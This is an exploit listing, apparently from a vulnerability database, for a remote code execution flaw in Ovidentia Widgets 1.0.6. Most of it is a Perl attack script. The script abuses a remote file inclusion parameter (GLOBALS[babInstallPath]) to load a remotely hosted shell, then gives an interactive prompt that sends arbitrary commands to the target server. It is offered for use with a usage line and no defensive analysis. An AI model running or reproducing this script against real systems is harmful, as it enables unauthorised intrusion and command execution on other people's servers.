Ovidentia Widgets RCE Vulnerability

2015.12.22
Credit: 4TT4CK3R
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

|[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!] |[!]| |[!]| Exploit Title : Ovidentia Widgets RCE Vulnerability |[!]| |[!]| Exploit Author : 4TT4CK3R |[!]| |[!]| Date : 2015/12/20 |[!]| |[!]| Google Dork : No |[!]| |[!]| Home Page : http://ovidentia.org |[!]| |[!]| Tested on : Kali linux , Windows 8.1 |[!]| |[!]| Vulnerable Version : 1.0.6 |[!]| |[!]| Just for : CyberPolice |[!]| |[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!] Script : ========================================================================================= use LWP::UserAgent; use HTTP::Request; use LWP::Simple; use Getopt::Long; sub clear{ system(($^O eq 'MSWin32') ? 'cls' : 'clear'); } &clear(); sub 4TT4CK3R { print "Ovidentia Widgets 1.0.6 RCE Vulnerability\n"; print "Sploit:\n"; print "$0 -v "http://[target]/path/programs/" -shellcode "http://[target]/shell.txt?"\n\n"; exit(); } my $a = GetOptions ( 'v=s' => $v, 'shellcode=s' => $shellcode ); &4TT4CK3R unless ($v); &4TT4CK3R unless ($shellcode); &4TT4CK3R if $4TT4CK3R eq 1; chomp($v); chomp($shellcode); while (){ print "[shellcode]:~$ "; chomp($cmd=<STDIN>); if ($cmd eq "exit" || $cmd eq "quit") { exit 0; } my $agent = LWP::UserAgent->new; $in="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1"; chomp($in); my $a = $v ."/widgets-1-0-61/programs/groups.php?GLOBALS[babInstallPath]=" . $shellcode . $in; chomp $a; my $request = HTTP::Request->new(Get => $a); my $resource = $agent->request($request); my $content = $resource->content; if ($resource->is_success){ print $1,"\n" if ($content =~ m/readonly> (.*?)</textarea>/mosix); } else { print "EXPLOIT FAILURE\n"; exit(1); } } ========================================================================================= |[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!] |[!]| |[!]| Discovered and Exploited by : 4TT4CK3R |[!]| Special Thanks for : Mahdieh |[!]| Registered for : CyberPolice |[!]| |[!]|[!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!][!]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top